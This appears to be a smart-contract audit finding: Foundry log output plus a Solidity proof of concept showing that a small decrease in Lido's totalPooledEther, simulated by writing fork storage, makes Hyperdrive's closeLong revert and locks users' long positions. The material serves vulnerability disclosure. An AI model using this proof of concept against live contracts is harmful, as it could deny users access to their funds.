## Formatted output from test__DOSStethHyperdriveCloseLong ``` Running 1 test for test/integrations/StethHyperdrive.t.sol:StethHyperdriveTest [PASS] test__DOSStethHyperdriveCloseLong() (gas: 676273) Logs: ########################################################################### #### TEST: Denial of Service when LIDO's `TotalPooledEther` decreases. #### ########################################################################### # Bob calls openLong() # Bob paid basePaid == 986426442084099043440 Bob received longAmount == 1032749606381098778932 # Taking a Snapshot of the state # sharePrice: 1126467900855209627 before _updateLiquidity _shareProceeds 438468873966310397654 _shareReservesDelta 438468873966310397654 _shareProceeds >= _shareReservesDelta true # Bob calls closeLong() # Bob received baseProceeds == 493921112047177146800 for closing 516374803190549389466 # Reverting to the saved state Snapshot # # Manipulating Lido's totalPooledEther : removing only 1e18 # LIDO.CL_BALANCE_POSITION Before: 6840256058235313000000000 LIDO.getTotalPooledEther() Before: 6911982135515374435895912 Bob's Long Bonds balanceBefore: 1032749606381098778932 # Writing to storage... # # ...End writing to storage # LIDO.CL_BALANCE_POSITION After: 6840255058235313000000000 LIDO.CL_BALANCE_POSITION Before - After: 1000000000000000000 LIDO.getTotalPooledEther() After: 6911981135515374435895912 LIDO.getTotalPooledEther() Before - After: 1000000000000000000 Bob's Long Bonds balanceAfter: 1032749606381098778932 # Bob now calls closeLong() after LIDO's balance update, but this will revert # Bob tries to call closeLong() with 516374803190549389466 sharePrice: 1126467737882001831 before _updateLiquidity _shareProceeds 438468873900985721708 _shareReservesDelta 438468937337049174978 _shareProceeds >= _shareReservesDelta false Bob tries to call closeLong() with 1000000000 sharePrice: 1126467737882001831 before _updateLiquidity _shareProceeds 850334867 _shareReservesDelta 850334991 _shareProceeds >= _shareReservesDelta false Bob tries to call closeLong() with 1000000000000000000 sharePrice: 1126467737882001831 before _updateLiquidity _shareProceeds 850324443020858426 _shareReservesDelta 850324566042670313 _shareProceeds >= _shareReservesDelta false Bob tries to call closeLong() with 1032749606381098778932 sharePrice: 1126467737882001831 before _updateLiquidity _shareProceeds 875680914682503795660 _shareReservesDelta 875681041372796710638 _shareProceeds >= _shareReservesDelta false Test result: ok. 1 passed; 0 failed; finished in 2.65s ``` ## Coded POC ```solidity // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.8.19; import { IERC20 } from "contracts/src/interfaces/IERC20.sol"; import { ERC20Mintable } from "contracts/test/ERC20Mintable.sol"; import { StethHyperdriveDeployer } from "contracts/src/factory/StethHyperdriveDeployer.sol"; import { StethHyperdriveFactory } from "contracts/src/factory/StethHyperdriveFactory.sol"; import { StethHyperdrive } from "contracts/src/instances/StethHyperdrive.sol"; import { StethHyperdriveDataProvider } from "contracts/src/instances/StethHyperdriveDataProvider.sol"; import { IHyperdrive } from "contracts/src/interfaces/IHyperdrive.sol"; import { ILido } from "contracts/src/interfaces/ILido.sol"; import { AssetId } from "contracts/src/libraries/AssetId.sol"; import { Errors } from "contracts/src/libraries/Errors.sol"; import { FixedPointMath } from "contracts/src/libraries/FixedPointMath.sol"; import { HyperdriveMath } from "contracts/src/libraries/HyperdriveMath.sol"; import { ForwarderFactory } from "contracts/src/token/ForwarderFactory.sol"; import { HyperdriveTest } from "test/utils/HyperdriveTest.sol"; import { HyperdriveUtils } from "test/utils/HyperdriveUtils.sol"; import { Lib } from "test/utils/Lib.sol"; import "forge-std/console.sol"; import "forge-std/Test.sol"; contract StethHyperdriveTest is HyperdriveTest { using FixedPointMath for uint256; using Lib for *; using stdStorage for StdStorage; uint256 internal constant FIXED_RATE = 0.05e18; // The Lido storage location that tracks buffered ether reserves. We can // simulate the accrual of interest by updating this value. bytes32 internal constant BUFFERED_ETHER_POSITION = keccak256("lido.Lido.bufferedEther"); ILido internal constant LIDO = ILido(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84); address internal STETH_WHALE = 0x1982b2F5814301d4e9a8b0201555376e62F82428; address internal ETH_WHALE = 0x00000000219ab540356cBB839Cbe05303d7705Fa; StethHyperdriveFactory factory; function setUp() public override __mainnet_fork(17_376_154) { super.setUp(); // Deploy the StethHyperdrive deployer and factory. vm.startPrank(deployer); StethHyperdriveDeployer simpleDeployer = new StethHyperdriveDeployer(LIDO); address[] memory defaults = new address[](1); defaults[0] = bob; forwarderFactory = new ForwarderFactory(); factory = new StethHyperdriveFactory(alice, simpleDeployer, bob, bob, IHyperdrive.Fees(0, 0, 0), defaults, address(forwarderFactory), forwarderFactory.ERC20LINK_HASH(), LIDO); // Alice deploys the hyperdrive instance. vm.stopPrank(); vm.startPrank(alice); IHyperdrive.PoolConfig memory config = IHyperdrive.PoolConfig({ baseToken: IERC20(ETH), initialSharePrice: LIDO.getTotalPooledEther().divDown(LIDO.getTotalShares()), positionDuration: POSITION_DURATION, checkpointDuration: CHECKPOINT_DURATION, timeStretch: HyperdriveUtils.calculateTimeStretch(0.05e18), governance: governance, feeCollector: feeCollector, fees: IHyperdrive.Fees({ curve: 0, flat: 0, governance: 0 }), oracleSize: ORACLE_SIZE, updateGap: UPDATE_GAP }); uint256 contribution = 10_000e18; hyperdrive = factory.deployAndInitialize{ value: contribution }(config, new bytes32[](0), contribution, FIXED_RATE); // Ensure that Alice has the correct amount of LP shares. assertApproxEqAbs(hyperdrive.balanceOf(AssetId._LP_ASSET_ID, alice), contribution.divDown(config.initialSharePrice), 1e5); // Fund the test accounts with stETH and ETH. address[] memory accounts = new address[](3); accounts[0] = alice; accounts[1] = bob; accounts[2] = celine; fundAccounts(address(hyperdrive), IERC20(LIDO), STETH_WHALE, accounts); // Start recording event logs. vm.recordLogs(); } function test_attack_long_stEth() external { // Get some balance information before the deposit. uint256 hyperdriveSharesBefore = LIDO.sharesOf(address(hyperdrive)); // Bob opens a long by depositing ETH. uint256 basePaid = HyperdriveUtils.calculateMaxLong(hyperdrive); (uint256 maturityTime, uint256 longAmount) = openLong(bob, basePaid); // Get some balance information before the withdrawal. uint256 totalPooledEtherBefore = LIDO.getTotalPooledEther(); uint256 totalSharesBefore = LIDO.getTotalShares(); AccountBalances memory bobBalancesBefore = getAccountBalances(bob); AccountBalances memory hyperdriveBalancesBefore = getAccountBalances(address(hyperdrive)); // Bob closes his long with stETH as the target asset. uint256 baseProceeds = closeLong(bob, maturityTime, longAmount, false); // Ensure that Lido's aggregates and the token balances were updated // correctly during the trade. verifyStethWithdrawal(bob, baseProceeds, totalPooledEtherBefore, totalSharesBefore, bobBalancesBefore, hyperdriveBalancesBefore); } function test__DOSStethHyperdriveCloseLong() external { console.log("\n###########################################################################"); console.log("\n#### TEST: Denial of Service when LIDO's `TotalPooledEther` decreases. ####"); console.log("\n###########################################################################"); // Ensure that the share price is the expected value. uint256 totalPooledEther = LIDO.getTotalPooledEther(); uint256 totalShares = LIDO.getTotalShares(); uint256 sharePrice = hyperdrive.getPoolInfo().sharePrice; assertEq(sharePrice, totalPooledEther.divDown(totalShares)); // Ensure that the share price accurately predicts the amount of shares // that will be minted for depositing a given amount of ETH. This will // be an approximation since Lido uses `mulDivDown` whereas this test // pre-computes the share price. uint256 basePaid = HyperdriveUtils.calculateMaxLong(hyperdrive) / 10; uint256 hyperdriveSharesBefore = LIDO.sharesOf(address(hyperdrive)); console.log("\n# Bob calls openLong() #\n"); (uint256 maturityTime, uint256 longAmount) = openLong(bob, basePaid); console.log("Bob paid basePaid == ", basePaid); console.log("Bob received longAmount == ", longAmount); assertApproxEqAbs(LIDO.sharesOf(address(hyperdrive)), hyperdriveSharesBefore + basePaid.divDown(sharePrice), 1e4); // Get some balance information before the withdrawal. uint256 totalPooledEtherBefore = LIDO.getTotalPooledEther(); uint256 totalSharesBefore = LIDO.getTotalShares(); AccountBalances memory bobBalancesBefore = getAccountBalances(bob); AccountBalances memory hyperdriveBalancesBefore = getAccountBalances(address(hyperdrive)); uint256 snapshotId = vm.snapshot(); console.log("\n# Taking a Snapshot of the state #\n"); // Bob closes his long with stETH as the target asset. uint256 baseProceeds = closeLong(bob, maturityTime, longAmount / 2, false); console.log("\n# Bob calls closeLong() #\n"); console.log("Bob received baseProceeds == %s for closing %s", baseProceeds, longAmount / 2); // Ensure that Lido's aggregates and the token balances were updated // correctly during the trade. verifyStethWithdrawal(bob, baseProceeds, totalPooledEtherBefore, totalSharesBefore, bobBalancesBefore, hyperdriveBalancesBefore); console.log("\n# Reverting to the saved state Snapshot #\n"); vm.revertTo(snapshotId); console.log("\n# Manipulating Lido's totalPooledEther : removing only 1e18 #\n"); bytes32 balanceBefore = vm.load(address(LIDO), bytes32(0xa66d35f054e68143c18f32c990ed5cb972bb68a68f500cd2dd3a16bbf3686483)); console.log("LIDO.CL_BALANCE_POSITION Before: ", uint(balanceBefore)); uint beforeTotalPooledEther = uint(LIDO.getTotalPooledEther()); console.log("LIDO.getTotalPooledEther() Before: ", beforeTotalPooledEther); uint256 bondBalanceBefore = hyperdrive.balanceOf(AssetId.encodeAssetId(AssetId.AssetIdPrefix.Long, maturityTime), bob); console.log("Bob's Long Bonds balanceBefore: ", bondBalanceBefore); console.log("\n# Writing to storage... #\n"); vm.store(address(LIDO), bytes32(uint256(0xa66d35f054e68143c18f32c990ed5cb972bb68a68f500cd2dd3a16bbf3686483)), bytes32(uint256(balanceBefore) - 1e18)); console.log("\n# ...End writing to storage #\n"); // Avoid Stack too deep uint256 maturityTime_ = maturityTime; uint256 longAmount_ = longAmount; bytes32 balanceAfter = vm.load(address(LIDO), bytes32(uint256(0xa66d35f054e68143c18f32c990ed5cb972bb68a68f500cd2dd3a16bbf3686483))); console.log("LIDO.CL_BALANCE_POSITION After: ", uint(balanceAfter)); console.log("LIDO.CL_BALANCE_POSITION Before - After: ", uint(balanceBefore) - uint(balanceAfter)); console.log("LIDO.getTotalPooledEther() After: ", uint(LIDO.getTotalPooledEther())); console.log("LIDO.getTotalPooledEther() Before - After: ", beforeTotalPooledEther - uint(LIDO.getTotalPooledEther())); // Bob closes his long with stETH as the target asset. uint256 bondBalanceAfter = hyperdrive.balanceOf(AssetId.encodeAssetId(AssetId.AssetIdPrefix.Long, maturityTime_), bob); console.log("Bob's Long Bonds balanceAfter: ", bondBalanceAfter); console.log("\n# Bob now calls closeLong() after LIDO's balance update, but this will revert #\n"); console.log("\n Bob tries to call closeLong() with %s \n", longAmount_ / 2); vm.expectRevert(); uint256 baseProceeds2 = closeLong(bob, maturityTime_, longAmount_ / 2, false); console.log("\n Bob tries to call closeLong() with %s \n", 1e9); vm.expectRevert(); uint256 baseProceeds3 = closeLong(bob, maturityTime_, 1e9, false); console.log("\n Bob tries to call closeLong() with %s \n", 1e18); vm.expectRevert(); uint256 baseProceeds4 = closeLong(bob, maturityTime_, 1e18, false); console.log("\n Bob tries to call closeLong() with %s \n", longAmount_); vm.expectRevert(); uint256 baseProceeds5 = closeLong(bob, maturityTime_, longAmount_, false); } function verifyDeposit( address trader, uint256 basePaid, bool asUnderlying, uint256 totalPooledEtherBefore, uint256 totalSharesBefore, AccountBalances memory traderBalancesBefore, AccountBalances memory hyperdriveBalancesBefore ) internal { if (asUnderlying) { // Ensure that the amount of pooled ether increased by the base paid. assertEq(LIDO.getTotalPooledEther(), totalPooledEtherBefore + basePaid); // Ensure that the ETH balances were updated correctly. assertEq(address(hyperdrive).balance, hyperdriveBalancesBefore.ETHBalance); assertEq(bob.balance, traderBalancesBefore.ETHBalance - basePaid); // Ensure that the stETH balances were updated correctly. assertApproxEqAbs(LIDO.balanceOf(address(hyperdrive)), hyperdriveBalancesBefore.stethBalance + basePaid, 1); assertEq(LIDO.balanceOf(trader), traderBalancesBefore.stethBalance); // Ensure that the stETH shares were updated correctly. uint256 expectedShares = basePaid.mulDivDown(totalSharesBefore, totalPooledEtherBefore); assertEq(LIDO.getTotalShares(), totalSharesBefore + expectedShares); assertEq(LIDO.sharesOf(address(hyperdrive)), hyperdriveBalancesBefore.stethShares + expectedShares); assertEq(LIDO.sharesOf(bob), traderBalancesBefore.stethShares); } else { // Ensure that the amount of pooled ether stays the same. assertEq(LIDO.getTotalPooledEther(), totalPooledEtherBefore); // Ensure that the ETH balances were updated correctly. assertEq(address(hyperdrive).balance, hyperdriveBalancesBefore.ETHBalance); assertEq(trader.balance, traderBalancesBefore.ETHBalance); // Ensure that the stETH balances were updated correctly. assertApproxEqAbs(LIDO.balanceOf(address(hyperdrive)), hyperdriveBalancesBefore.stethBalance + basePaid, 1); assertApproxEqAbs(LIDO.balanceOf(trader), traderBalancesBefore.stethBalance - basePaid, 1); // Ensure that the stETH shares were updated correctly. uint256 expectedShares = basePaid.mulDivDown(totalSharesBefore, totalPooledEtherBefore); assertEq(LIDO.getTotalShares(), totalSharesBefore); assertEq(LIDO.sharesOf(address(hyperdrive)), hyperdriveBalancesBefore.stethShares + expectedShares); assertEq(LIDO.sharesOf(trader), traderBalancesBefore.stethShares - expectedShares); } } function verifyStethWithdrawal( address trader, uint256 baseProceeds, uint256 totalPooledEtherBefore, uint256 totalSharesBefore, AccountBalances memory traderBalancesBefore, AccountBalances memory hyperdriveBalancesBefore ) internal { // Ensure that the total pooled ether and shares stays the same. assertEq(LIDO.getTotalPooledEther(), totalPooledEtherBefore); assertApproxEqAbs(LIDO.getTotalShares(), totalSharesBefore, 1); // Ensure that the ETH balances were updated correctly. assertEq(address(hyperdrive).balance, hyperdriveBalancesBefore.ETHBalance); assertEq(trader.balance, traderBalancesBefore.ETHBalance); // Ensure that the stETH balances were updated correctly. assertApproxEqAbs(LIDO.balanceOf(address(hyperdrive)), hyperdriveBalancesBefore.stethBalance - baseProceeds, 1); assertApproxEqAbs(LIDO.balanceOf(trader), traderBalancesBefore.stethBalance + baseProceeds, 1); // Ensure that the stETH shares were updated correctly. uint256 expectedShares = baseProceeds.mulDivDown(totalSharesBefore, totalPooledEtherBefore); assertApproxEqAbs(LIDO.sharesOf(address(hyperdrive)), hyperdriveBalancesBefore.stethShares - expectedShares, 1); assertApproxEqAbs(LIDO.sharesOf(trader), traderBalancesBefore.stethShares + expectedShares, 1); } /// Helpers /// function advanceTime(uint256 timeDelta, int256 variableRate) internal override { // Advance the time. vm.warp(block.timestamp + timeDelta); // Accrue interest in Lido. Since the share price is given by // `getTotalPooledEther() / getTotalShares()`, we can simulate the // accrual of interest by multiplying the total pooled ether by the // variable rate plus one. uint256 bufferedEther = variableRate >= 0 ? LIDO.getBufferedEther() + LIDO.getTotalPooledEther().mulDown(uint256(variableRate)) : LIDO.getBufferedEther() - LIDO.getTotalPooledEther().mulDown(uint256(variableRate)); vm.store(address(LIDO), BUFFERED_ETHER_POSITION, bytes32(bufferedEther)); } struct AccountBalances { uint256 stethShares; uint256 stethBalance; uint256 ETHBalance; } function getAccountBalances(address account) internal view returns (AccountBalances memory) { return AccountBalances({ stethShares: LIDO.sharesOf(account), stethBalance: LIDO.balanceOf(account), ETHBalance: account.balance }); } } ```